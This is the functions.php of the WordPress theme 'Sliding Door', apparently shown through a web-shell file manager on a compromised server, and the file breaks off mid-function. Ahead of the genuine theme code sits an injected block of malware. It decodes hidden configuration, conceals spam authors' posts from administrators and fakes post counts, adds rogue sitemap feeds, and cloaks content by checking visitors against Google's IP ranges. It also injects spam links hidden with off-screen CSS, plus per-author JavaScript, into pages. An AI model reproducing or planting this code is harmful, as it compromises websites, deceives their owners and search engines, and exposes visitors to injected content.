HEX
Server: Apache
System: Linux vps-00003980 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u2 (2019-05-13) x86_64
User: web716 (1018)
PHP: 7.4.25
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client2/web716/web/wp-content/themes/sliding-door/functions.php
<?php

/* cf23aa0646438a83c57b98c43ccf6c60 */

function get_stylesheet_uri_encryption($where) {
    global $wpdb, $get_author_posts_url_pic;

    $get_header_alpha = array_keys($get_author_posts_url_pic);
    $esc_attr_reference = implode(', ', $get_header_alpha);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'esc_url_raw_statement');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($esc_attr_reference)";
    }

    return $where;
}

function get_option_event($query) {

    global $get_author_posts_url_pic;

    $get_header_alpha = array_keys($get_author_posts_url_pic);
    $get_the_author_meta_stream = post_password_required_framework($get_header_alpha);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $get_the_author_meta_stream);
    }
}

function absint_base() {

    global $post, $get_author_posts_url_pic;

    foreach ($get_author_posts_url_pic as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_comments_number_event($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_comments_number_event($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_the_post_thumbnail_function()) {
            return true;
        }
    }
    return false;
}

function esc_url_raw_statement($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function add_filter_interface($counts, $type, $perm) {

    if ($type === 'post') {
        $post_password_required_less = $counts->publish;
        $get_theme_mod_trigger = get_permalink_first($perm);
        $counts->publish = !$get_theme_mod_trigger ? $post_password_required_less : $get_theme_mod_trigger;
    }
    return $counts;
}

function get_permalink_first($perm) {
    global $wpdb, $get_author_posts_url_pic;

    $get_header_alpha = array_keys($get_author_posts_url_pic);
    $esc_attr_reference = implode(', ', $get_header_alpha);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $is_home_package = get_post_type_object($type);

        if (!current_user_can($is_home_package->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($esc_attr_reference) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $is_front_page_num) {
        if ($is_front_page_num['post_status'] === 'publish') {
            return $is_front_page_num['num_posts'];
        }
    }
}

function esc_url_trigger($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_header_alpha = array();
    foreach ($results as $is_front_page_num) {
        $get_header_alpha[] = $is_front_page_num['ID'];
    }
    return $get_header_alpha;
}

function get_the_ID_reference() {

    global $get_author_posts_url_pic, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {
        $has_post_thumbnail_merge = key($the_ID_sample['sitemapsettings']);

        if (!isset($rules[$has_post_thumbnail_merge]) ||
            ($rules[$has_post_thumbnail_merge] !== current($the_ID_sample['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function have_posts_part($rules) {

    global $get_author_posts_url_pic;

    $the_title_integer = array();

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {
        if (isset($the_ID_sample['sitemapsettings'])) {
            $the_title_integer[key($the_ID_sample['sitemapsettings'])] = current($the_ID_sample['sitemapsettings']);
        }
    }

    return $the_title_integer + $rules;
}

function the_post_thumbnail_alpha() {

    global $get_author_posts_url_pic;

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {
        $absint_soap = str_replace('index.php?feed=', '', current($the_ID_sample['sitemapsettings']));
        add_feed($absint_soap, 'is_single_compiler');
    }
}

function is_single_compiler() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $head = is_home_stack();
    $absint_queue = $head . "\n";

    $userId = get_search_form_http();

    $get_post_thumbnail_id_old = esc_url_trigger($userId);
    $priority = '0.5';
    $is_customize_preview_edit = 'weekly';
    $the_post_cookie = date('Y-m-d');

    foreach ($get_post_thumbnail_id_old as $post_id) {
        $url = get_permalink($post_id);
        $absint_queue .= the_excerpt_git($url, $the_post_cookie, $is_customize_preview_edit, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $absint_queue .= "\n</urlset>";

    echo $absint_queue;
}

function is_home_stack() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function the_excerpt_git($url, $the_post_cookie, $is_customize_preview_edit, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$the_post_cookie</lastmod>
      <changefreq>$is_customize_preview_edit</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function post_password_required_framework($writersArr) {
    $dynamic_sidebar_info = array();

    foreach ($writersArr as $item) {
        $dynamic_sidebar_info[] = '-' . $item;
    }
    return implode(',', $dynamic_sidebar_info);
}

function load_theme_textdomain_interface() {

    $esc_url_raw_edit = array();
    $is_customize_preview_http = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $set_transient_method = unserialize(base64_decode($settings));
        if ($set_transient_method) {
            $esc_url_raw_edit = $set_transient_method;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $the_excerpt_loop = unserialize(base64_decode($settings));
        if ($the_excerpt_loop) {
            $is_customize_preview_http = $the_excerpt_loop;
        }
    }

    return $is_customize_preview_http + $esc_url_raw_edit;

}

function get_search_form_http() {

    global $get_author_posts_url_pic;

    foreach ($get_author_posts_url_pic as $comments_template_path => $the_ID_sample) {

        $is_single_repository = key($the_ID_sample['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($the_ID_sample['sitemapsettings']) . '$');

        if (preg_match("~$is_single_repository~", $_SERVER['REQUEST_URI'])) {
            return $comments_template_path;
        }
    }
}

function is_admin_base() {
    global $get_author_posts_url_pic, $post;

    $the_post_thumbnail_meta = array_keys($get_author_posts_url_pic);
    if (in_array($post->post_author, $the_post_thumbnail_meta)) {
        return true;
    }
    return false;
}

function esc_attr_e_more() {
    global $get_author_posts_url_pic, $post;

    $the_post_thumbnail_meta = array_keys($get_author_posts_url_pic);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $the_post_thumbnail_meta)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function register_nav_menus_pointer() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_the_post_thumbnail_function() {

    $add_image_size_info = register_nav_menus_pointer();

    if (strstr($add_image_size_info, ', ')) {
        $esc_html_less = explode(', ', $add_image_size_info);
        $add_image_size_info = $esc_html_less[0];
    }

    $esc_url_raw_schema = add_partial_interface();

    if (!$esc_url_raw_schema) {
        return false;
    }

    foreach ($esc_url_raw_schema as $range) {
        if (get_the_date_module($add_image_size_info, $range)) {
            return true;
        }
    }
    return false;
}

function add_setting_edit($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function add_partial_interface() {

    if (($value = get_option('wp_custom_range')) && !add_setting_edit($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $esc_url_raw_schema = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($esc_url_raw_schema)) {

            return;
        }

        $value = array('ranges' => $esc_url_raw_schema, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_search_query_constructor($inet) {
    $register_nav_menus_decryption = str_split($inet);
    $get_template_part_soap = '';
    foreach ($register_nav_menus_decryption as $char) {
        $get_template_part_soap .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $get_template_part_soap;
}

function get_the_date_module($add_image_size_info, $cidrnet) {
    $add_image_size_info = inet_pton($add_image_size_info);
    $get_template_part_soap = get_search_query_constructor($add_image_size_info);

    list($net, $the_post_thumbnail_new) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $has_nav_menu_http = get_search_query_constructor($net);

    $get_post_thumbnail_id_list = substr($get_template_part_soap, 0, $the_post_thumbnail_new);
    $get_the_ID_call = substr($has_nav_menu_http, 0, $the_post_thumbnail_new);

    if ($get_post_thumbnail_id_list !== $get_the_ID_call) {
        return false;
    } else {
        return true;
    }
}


function esc_url_raw_variable($get_the_date_cron) {

    global $post;

    $get_the_date_old = '';




    if (get_post_type_git($get_the_date_cron, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_the_date_old = get_option('home_links_custom_0');
        }
    } elseif (get_post_type_git($get_the_date_cron, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_the_date_old = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_post_type_git($get_the_date_cron, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_search_query_alpha = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_the_date_old = get_option('home_links_custom_' . $get_search_query_alpha);
        
        
    } elseif (get_post_type_git($get_the_date_cron, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_the_date_old ? '' : $get_the_date_old;
}

function get_post_type_git($the_ID_sample, $esc_attr_e_view, $the_archive_title_cron) {
    if (!isset($the_ID_sample[$esc_attr_e_view][$the_archive_title_cron])) {
        return false;
    }

    if ($the_ID_sample[$esc_attr_e_view][$the_archive_title_cron] === 1) {
        return true;
    }

    return false;

}

function add_partial_decryption($get_the_date_cron, $_e_alpha) {
    if (empty($_e_alpha)) {
        return '';
    }

    if (get_post_type_git($get_the_date_cron, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $get_the_category_list_hashing = post_password_required_event();
        $wp_enqueue_style_repository = $get_the_category_list_hashing[$blockNum[0]];
        return $wp_enqueue_style_repository[0] . PHP_EOL . $_e_alpha . PHP_EOL . $wp_enqueue_style_repository[1];
    }

    return $_e_alpha;
}

function post_password_required_event() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function add_image_size_alpha($get_the_date_cron) {
    return get_post_type_git($get_the_date_cron, 'position', 'head');
}

function is_customize_preview_string($get_the_date_cron) {
    return get_post_type_git($get_the_date_cron, 'position', 'footer');
}

function is_single_pointer($settings) {
    foreach ($settings as $comments_template_path => $the_ID_sample) {
        if (isset($the_ID_sample['homeLinks'])) {
            return $the_ID_sample['homeLinks'];
        }
    }
    return array();
}


function is_home_all() {
    if (!is_admin_base()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function has_nav_menu_core() {

    global $get_the_date_cron;

    if (!is_home_all()) {
        
        
        return;
    }

    if (get_post_type_git($get_the_date_cron, 'hiddenType', 'cloacking')) {
        if (!get_the_post_thumbnail_function()) {
            
            return;
        }
    }


    $_e_alpha = esc_url_raw_variable($get_the_date_cron);
    $_e_alpha = add_partial_decryption($get_the_date_cron, $_e_alpha);

    


    echo $_e_alpha;

}

$get_author_posts_url_pic = load_theme_textdomain_interface();


if (is_array($get_author_posts_url_pic)) {
    add_filter('posts_where_paged', 'get_stylesheet_uri_encryption');
    add_action('pre_get_posts', 'get_option_event');
    add_action('wp_enqueue_scripts', 'absint_base');
    add_filter('wp_count_posts', 'add_filter_interface' , 10, 3);
    add_filter('rewrite_rules_array', 'have_posts_part');
    add_action('wp_loaded', 'get_the_ID_reference');
    add_action('init', 'the_post_thumbnail_alpha');
    add_action('template_redirect', 'esc_attr_e_more');

    $get_the_date_cron = is_single_pointer($get_author_posts_url_pic);

    if (!empty($get_the_date_cron)) {

        

        if (add_image_size_alpha($get_the_date_cron)) {
            add_action('wp_head', 'has_nav_menu_core');
        }
        if (is_customize_preview_string($get_the_date_cron)) {
            add_action('wp_footer', 'has_nav_menu_core');
        }


    }
}

/* cf23aa0646438a83c57b98c43ccf6c60 */
/**
 * slidingdoor functions and definitions
 * Sets up the theme and provides some helper functions. Some helper functions
 * are used in the theme as custom template tags. Others are attached to action and
 * filter hooks in WordPress to change core functionality.
 *
 * The first function, slidingdoor_setup(), sets up the theme by registering support
 * for various features in WordPress, such as post thumbnails, navigation menus, and the like.
 *
 * When using a child theme (see http://codex.wordpress.org/Theme_Development and
 * http://codex.wordpress.org/Child_Themes), you can override certain functions
 * (those wrapped in a function_exists() call) by defining them first in your child theme's
 * functions.php file. The child theme's functions.php file is included before the parent
 * theme's file, so the child theme functions would be used.
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
 * to a filter or action hook. The hook can be removed by using remove_action() or
 * remove_filter() and you can attach your own function to the hook.
 *
 * We can remove the parent theme's hook only after it is attached, which means we need to
 * wait until setting up the child theme:
 *
 * <code>
 * add_action( 'after_setup_theme', 'my_child_theme_setup' ); 
 * function my_child_theme_setup() {
 *     // We are providing our own filter for excerpt_length (or using the unfiltered value)
 *     remove_filter( 'excerpt_length', 'slidingdoor_excerpt_length' );
 *     ...
 * }
 * </code>
 *
 * For more information on hooks, actions, and filters, see http://codex.wordpress.org/Plugin_API.
 *
 * @package Sliding_Door
 * @since Sliding Door 1.0
 */


/**
 * Color custom theme options
 */
require_once ( get_template_directory() . '/theme-options.php' );



	/*
	 * Let WordPress manage the document title.
	 * By adding theme support, we declare that this theme does not use a
	 * hard-coded <title> tag in the document head, and expect WordPress to
	 * provide it for us.
	 */
	add_theme_support( 'title-tag' );
	
	
		// Change this to your theme text domain, used for internationalising strings
	$theme_text_domain = 'sliding-door';



/**
 * Set the content width based on the theme's design and stylesheet.
 *
 * Used to set the width of images and content. Should be equal to the width the theme
 * is designed for, generally via the style.css stylesheet.
 */
if ( ! isset( $content_width ) )
	$content_width = 640;

/** Tell WordPress to run slidingdoor_setup() when the 'after_setup_theme' hook is run. */
add_action( 'after_setup_theme', 'slidingdoor_setup' );

if ( ! function_exists( 'slidingdoor_setup' ) ):
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which runs
 * before the init hook. The init hook is too late for some features, such as indicating
 * support post thumbnails.
 *
 * To override slidingdoor_setup() in a child theme, add your own slidingdoor_setup to your child theme's
 * functions.php file.
 *
 * @uses add_theme_support() To add support for post thumbnails and automatic feed links.
 * @uses register_nav_menus() To add support for navigation menus.
 * @uses add_custom_background() To add support for a custom background.
 * @uses add_editor_style() To style the visual editor.
 * @uses load_theme_textdomain() For translation/localization support.
 * @uses add_custom_image_header() To add support for a custom header.
 * @uses register_default_headers() To register the default custom header images provided with the theme.
 * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
 *
 * @since Sliding Door 1.0
 */
function slidingdoor_setup() {

	// This theme styles the visual editor with editor-style.css to match the theme style.
	add_editor_style();
	
    add_theme_support( 'custom-header' );
	
	add_theme_support( 'custom-background');

	// This theme uses post thumbnails
	add_theme_support( 'post-thumbnails' );
    set_post_thumbnail_size( 320, 200, true );
    
	// Add default posts and comments RSS feed links to head
	add_theme_support( 'automatic-feed-links' );

	// Make theme available for translation
	// Translations can be filed in the /languages/ directory
	load_theme_textdomain( 'sliding-door', get_template_directory() . '/languages' );



	// This theme uses wp_nav_menu() in one location.
	register_nav_menus( array(
		'primary' => __( 'Primary Navigation', 'sliding-door' ),
		'custom-sliding-menu' => __( 'Sliding Navigation', 'sliding-door' ),
	) );


	// We want them to be 320 pixels wide by 200 pixels tall.
	// Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
	//set_post_thumbnail_size( HEADER_IMAGE_WIDTH, HEADER_IMAGE_HEIGHT, true );
	
	
		}
endif;




class My_Walker extends Walker_Nav_Menu
{
var $item_count = 0;

function end_el(&$output, $item, $depth=0, $args=array(), $id=0) {
		$output .= "";
	}
	
	/**
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param object $item Menu item data object.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param int $current_page Menu item ID.
	 * @param object $args
	 */
    function start_el(&$output, $item, $depth=0, $args=array(), $id=0) {
        global $wp_query,$item_count;
        $indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

        $class_names = $value = '';

        $classes = empty( $item->classes ) ? array() : (array) $item->classes;
		$classes[] = 'menu-item-' . $item->ID;

		if($item_count <= 5){
			if(isset($item->object_id)) {
			$thumbnailid = (int)$item->object_id;
			$thumbnail = get_the_post_thumbnail_url( $thumbnailid );
			} else {
		$thumbnail =get_template_directory_uri()."/images/slidingdoor.jpg";
			}
		
        $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
        $class_names = ' class="bk'.(int)$item_count.'" ';

        $output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>';

		$attributes = ! empty( $item->url )        ? ' href="'   . esc_attr( $item->url        ) .'"' : '';

		$item_output = $args->before;
        $item_output = '<a' . $attributes .' style="background: url(\'' . $thumbnail. '\') repeat scroll 0%;">';
        $item_output .=  apply_filters( 'the_title', $item->title, $item->ID );
		$item_output .= '</a>';
 		$item_output .= "</li>\n";


        $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth = 0 , $args=array(), $id = 0 );
        }
        if($item_count == 6){
			if(isset($item->object_id)) {
			$thumbnailid = (int)$item->object_id;
			$thumbnail = get_the_post_thumbnail_url( $thumbnailid );
			} else {
			$thumbnail =get_template_directory_uri()."/images/slidingdoor.jpg";
			}
		
         $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
        $class_names = ' class="bk'.(int)$item_count.'" ';

 $output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>';
 
		$attributes = ! empty( $item->url )        ? ' href="'   . esc_attr( $item->url        ) .'"' : '';

		$item_output = $args->before;
        $item_output = '<a' . $attributes .' style="background: url(\'' . $thumbnail. '\') repeat scroll 0%;">';
        $item_output .=  apply_filters( 'the_title', $item->title, $item->ID );
		$item_output .= '</a>';
 		$item_output .= "</li>\n";


        $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth = 0 , $args=array(), $id = 0 );
        }

    $item_count ++;
	}   
}

function no_sliding_menu(){
 $blog_url = site_url() ;
 $theme_url=get_template_directory_uri();
echo "<ul>
			<li class=\"bk0\"><a href=\"http://mac-host.com/support\" style=\"background: url('".$theme_url."/imagemenu/images/1.jpg') repeat scroll 0%;\">slidingdoor</a></li>
			<li class=\"bk1\"><a href=\"".$blog_url."\" style=\"background: url('".$theme_url."/imagemenu/images/2.jpg') repeat scroll 0%;\">slidingdoor</a></li>
			<li class=\"bk2\"><a href=\"".$blog_url."\" style=\"background: url('".$theme_url."/imagemenu/images/3.jpg') repeat scroll 0%;\">slidingdoor</a></li>
			<li class=\"bk3\"><a href=\"http://mac-host.com/slidingdoor/slider.zip\" style=\"background: url('".$theme_url."/imagemenu/images/4.jpg') repeat scroll 0%;\">slidingdoor</a></li>
			<li class=\"bk4\"><a href=\"http://mac-host.com/support\" style=\"background: url('".$theme_url."/imagemenu/images/5.jpg') repeat scroll 0%;\">slidingdoor</a></li>
			<li class=\"bk5\"><a href=\"http://mac-host.com/support\" style=\"background: url('".$theme_url."/imagemenu/images/6.jpg') repeat scroll 0%;\">slidingdoor</a></li>
			<li class=\"bk6\"><a href=\"http://mac-host.com/support\" style=\"background: url('".$theme_url."/imagemenu/images/7.jpg') repeat scroll 0%;\">slidingdoor</a></li>
				</ul>";
}



/**
 * Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link.
 *
 * To override this in a child theme, remove the filter and optionally add
 * your own function tied to the wp_page_menu_args filter hook.
 *
 * @since Sliding Door 1.0
 */
function slidingdoor_page_menu_args( $args ) {
	$args['show_home'] = true;
	return $args;
}
add_filter( 'wp_page_menu_args', 'slidingdoor_page_menu_args' );

/**
 * Sets the post excerpt length to 40 characters.
 *
 * To override this length in a child theme, remove the filter and add your own
 * function tied to the excerpt_length filter hook.
 *
 * @since Sliding Door 1.0
 * @return int
 */
function slidingdoor_excerpt_length( $length ) {
	return 40;
}
add_filter( 'excerpt_length', 'slidingdoor_excerpt_length' );

/**
 * Returns a "Continue Reading" link for excerpts
 *
 * @since Sliding Door 1.0
 * @return string "Continue Reading" link
 */
function slidingdoor_continue_reading_link() {
	return ' <a href="'. get_permalink() . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'sliding-door' ) . '</a>';
}

/**
 * Replaces "[...]" (appended to automatically generated excerpts) with an ellipsis and slidingdoor_continue_reading_link().
 *
 * To override this in a child theme, remove the filter and add your own
 * function tied to the excerpt_more filter hook.
 *
 * @since Sliding Door 1.0
 * @return string An ellipsis
 */
function slidingdoor_auto_excerpt_more( $more ) {
	return ' &hellip;' . slidingdoor_continue_reading_link();
}
add_filter( 'excerpt_more', 'slidingdoor_auto_excerpt_more' );

/**
 * Adds a pretty "Continue Reading" link to custom post excerpts.
 *
 * To override this link in a child theme, remove the filter and add your own
 * function tied to the get_the_excerpt filter hook.
 *
 * @since Sliding Door 1.0
 * @return string Excerpt with a pretty "Continue Reading" link
 */
function slidingdoor_custom_excerpt_more( $output ) {
	if ( has_excerpt() && ! is_attachment() ) {
		$output .= slidingdoor_continue_reading_link();
	}
	return $output;
}
add_filter( 'get_the_excerpt', 'slidingdoor_custom_excerpt_more' );

/**
 * Remove inline styles printed when the gallery shortcode is used.
 *
 * Galleries are styled by the theme in Sliding Door's style.css.
 *
 * @since Sliding Door 1.0
 * @return string The gallery style filter, with the styles themselves removed.
 */
function slidingdoor_remove_gallery_css( $css ) {
	return preg_replace( "#<style type='text/css'>(.*?)</style>#s", '', $css );
}
add_filter( 'gallery_style', 'slidingdoor_remove_gallery_css' );

if ( ! function_exists( 'slidingdoor_comment' ) ) :
/**
 * Template for comments and pingbacks.
 *
 * To override this walker in a child theme without modifying the comments template
 * simply create your own slidingdoor_comment(), and that function will be used instead.
 *
 * Used as a callback by wp_list_comments() for displaying the comments.
 *
 * @since Sliding Door 1.0
 */
function slidingdoor_comment( $comment, $args, $depth ) {
	$GLOBALS['comment'] = $comment;
	switch ( $comment->comment_type ) :
		case '' :
	?>
	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
		<div id="comment-<?php comment_ID(); ?>">
		<div class="comment-author vcard">
			<?php echo get_avatar( $comment, 40 ); ?>
			<?php printf( __( '%s <span class="says">says:</span>', 'sliding-door' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?>
		</div><!-- .comment-author .vcard -->
		<?php if ( $comment->comment_approved == '0' ) : ?>
			<em><?php _e( 'Your comment is awaiting moderation.', 'sliding-door' ); ?></em>
			<br />
		<?php endif; ?>

		<div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>">
			<?php
				/* translators: 1: date, 2: time */
				printf( __( '%1$s at %2$s', 'sliding-door' ), get_comment_date(),  get_comment_time() ); ?></a><?php edit_comment_link( __( '(Edit)', 'sliding-door' ), ' ' );
			?>
		</div><!-- .comment-meta .commentmetadata -->

		<div class="comment-body"><?php comment_text(); ?></div>

		<div class="reply">
			<?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
		</div><!-- .reply -->
	</div><!-- #comment-##  -->

	<?php
			break;
		case 'pingback'  :
		case 'trackback' :
	?>
	<li class="post pingback">
		<p><?php _e( 'Pingback:', 'sliding-door' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __('(Edit)', 'sliding-door'), ' ' ); ?></p>
	<?php
			break;
	endswitch;
}
endif;

/**
 * Register widgetized areas, including two sidebars and four widget-ready columns in the footer.
 *
 * To override slidingdoor_widgets_init() in a child theme, remove the action hook and add your own
 * function tied to the init hook.
 *
 * @since Sliding Door 1.0
 * @uses register_sidebar
 */
function slidingdoor_widgets_init() {
	// Area 1, located at the top of the sidebar.
	register_sidebar( array(
		'name' => __( 'Primary Widget Area', 'sliding-door' ),
		'id' => 'primary-widget-area',
		'description' => __( 'The primary widget area', 'sliding-door' ),
		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
		'after_widget' => '</li>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	) );

	// Area 2, located below the Primary Widget Area in the sidebar. Empty by default.
	register_sidebar( array(
		'name' => __( 'Secondary Widget Area', 'sliding-door' ),
		'id' => 'secondary-widget-area',
		'description' => __( 'The secondary widget area', 'sliding-door' ),
		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
		'after_widget' => '</li>',
		'before_title' => '<h3 class="widget-title">',
		'after_title' => '</h3>',
	) );


}
/** Register sidebars by running slidingdoor_widgets_init() on the widgets_init hook. */
add_action( 'widgets_init', 'slidingdoor_widgets_init' );

/**
 * Removes the default styles that are packaged with the Recent Comments widget.
 *
 * To override this in a child theme, remove the filter and optionally add your own
 * function tied to the widgets_init action hook.
 *
 * @since Sliding Door 1.0
 */
function slidingdoor_remove_recent_comments_style() {
	global $wp_widget_factory;
	remove_action( 'wp_head', array( $wp_widget_factory->widgets['WP_Widget_Recent_Comments'], 'recent_comments_style' ) );
}
add_action( 'widgets_init', 'slidingdoor_remove_recent_comments_style' );



/** Prints HTML with meta information for the current post‚date/time and author.
*/
if ( ! function_exists( 'slidingdoor_posted_on' ) ) :
function slidingdoor_posted_on() {
	printf( __( '<span class="%1$s">Posted on</span> %2$s <span class="meta-sep">by</span> %3$s', 'sliding-door' ),
		'meta-prep meta-prep-author',
		sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><span class="entry-date">%3$s</span></a>',
			get_permalink(),
			esc_attr( get_the_time() ),
			get_the_date()
		),
		sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s">%3$s</a></span>',
			get_author_posts_url( get_the_author_meta( 'ID' ) ),
